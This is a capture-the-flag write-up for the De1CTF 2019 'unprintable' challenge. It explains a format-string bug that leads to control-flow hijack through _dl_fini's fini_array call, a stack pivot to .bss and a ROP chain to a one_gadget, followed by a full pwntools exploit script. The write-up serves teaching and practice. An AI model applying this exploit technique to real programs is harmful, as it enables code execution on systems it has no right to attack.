De1ctf2019-unprintable

point

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
int __cdecl __noreturn main(int argc, const char **argv, const char **envp)
{
char v3; // [rsp+0h] [rbp-10h]
unsigned __int64 v4; // [rsp+8h] [rbp-8h]

v4 = __readfsqword(0x28u);
setbuf(stdin, 0LL);
setbuf(stdout, 0LL);
setbuf(stderr, 0LL);
puts("Welcome to Ch4r1l3's printf test");
printf("This is your gift: %p\n", &v3);
close(1);
read(0, buf, 0x1000uLL);
printf(buf, buf); //很明显的格式化漏洞
exit(0);
}

这里printf之后直接exit,所以这个需要找exit里面找一找能不能控制程序流的地方。exit过程中调用了_dl_fini,在_dl_fini里面有一个指针引用的函数调用

1
2
3
4
5
6
7
8
9
10
11
if (l->l_info[DT_FINI_ARRAY] != NULL)
{
ElfW(Addr) *array =
(ElfW(Addr) *) (l->l_addr
+ l->l_info[DT_FINI_ARRAY]->d_un.d_ptr);
unsigned int i = (l->l_info[DT_FINI_ARRAYSZ]->d_un.d_val
/ sizeof (ElfW(Addr)));
while (i-- > 0)
((fini_t) array[i]) ();
}

这个((fini_t) array[i]) ();这个call的汇编代码如下:

1
call   QWORD PTR [r12+rdx*8]  ;rax ==  i

再看这个r12的指向

1
2
3
mov    r12,QWORD PTR [rax+0x8]
mov rax,QWORD PTR [rbx+0x120]
add r12,QWORD PTR [rbx]

这个地方rbx = &(l->l_addr) , l就是link_map,这个link_map的地址是残留在调用栈上的。所以这里我们是可以写link_map开始的4字节,原本是指向fini_array,所以这里我们可以让r12指向bss上。相应的bss的位置,设置为main函数内,即read的位置

1
2
3
4
mov     edx, 1000h      
mov esi, offset buf
mov edi, 0
call read

这里比较巧妙的是栈上有printf返回值的地址。所以这里又可以控制printf的返回值。制造了一个循环read & printf的场景。接下来是就在bss上布局,再用一个gadget把栈切到bss上。

bss段上又有stderr,stdout,stdin指向libc的内存空间上。我们可以选择其中一个将其变成one_gadget.这里需要用到一个特殊gadget

1
.text:00000000004006E8                 adc     [rbp+48h], edx

整个过程用还是用libc_csu_init通用链来控制流程,exp如下

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
from pwn import *

debug=1

context.log_level='debug'

if debug:
p=process('./unprintable')
#p=process('',env={'LD_PRELOAD':'./libc.so'})
else:
pass

def ru(x):
return p.recvuntil(x)

def se(x):
p.send(x)

def sl(x):
p.sendline(x)

def wait(x=True):
#raw_input()
sleep(0.3)

def write_addr(addr,sz=6):
t = (stack+0x40)%0x100
v = p64(addr)
for i in range(sz):
if t+i != 0:
se('%'+str(t+i)+'c%18$hhn%'+str(1955-t-i)+'c%23$hn\x00')
else:
se('%18$hhn%1955c%23$hn')
wait()
tv = ord(v[i])
if tv != 0:
se('%'+str(tv)+'c%13$hhn%'+str(1955-tv)+'c%23$hn\x00')
else:
se('%13$hhn%1955c%23$hn')
wait()

def write_value(addr,value,addr_sz=6):
write_addr(addr,addr_sz)
se('%'+str(ord(value[0]))+'c%14$hhn%'+str(1955-ord(value[0]))+'c%23$hn\x00')
wait()
ta = p64(addr)[1]
for i in range(1,len(value)):
tmp = p64(addr+i)[1]
if ta!=tmp:
write_addr(addr+i,2)
ta = tmp
else:
write_addr(addr+i,1)
if ord(value[i]) !=0:
se('%'+str(ord(value[i]))+'c%14$hhn%'+str(1955-ord(value[i]))+'c%23$hn\x00')
else:
se('%14$hhn%1955c%23$hn\x00')
wait()

buf = 0x601060+0x100+4

ru('This is your gift: ')
stack = int(ru('\n'),16)-0x118

if stack%0x10000 > 0x2000:
p.close()
exit()

#ret_addr = stack - 0xe8

se('%'+str(buf-0x600DD8)+'c%26$hn'.ljust(0x100,'\x00')+p64(0x4007A3))
wait()

#tmp = (stack+0x40)%0x10000

#se('%c'*16+'%'+str(tmp-16)+'c%hn%'+str((163-(tmp%0x100)+0x100)%0x100)+'c%23$hhn\x00')
se('%163c%23$hhn\x00')
wait()

if debug:
gdb.attach(p)

raw_input()

rop = 0x601060+0x200

write_value(stack,p64(rop)[:6])

context.arch = 'amd64'

prbp = 0x400690
prsp = 0x40082d
adc = 0x4006E8
arsp = 0x0400848
prbx = 0x40082A
call = 0x400810
stderr = 0x601040

payload = p64(arsp)*3
payload += flat(prbx,0,stderr-0x48,rop,0xFFD2BC07,0,0,call)
payload += flat(adc,0,prbx,0,0,stderr,0,0,0,0x400819)

se(('%'+str(0x82d)+'c%23$hn').ljust(0x200,'\0')+payload)

print(hex(stack))

p.interactive()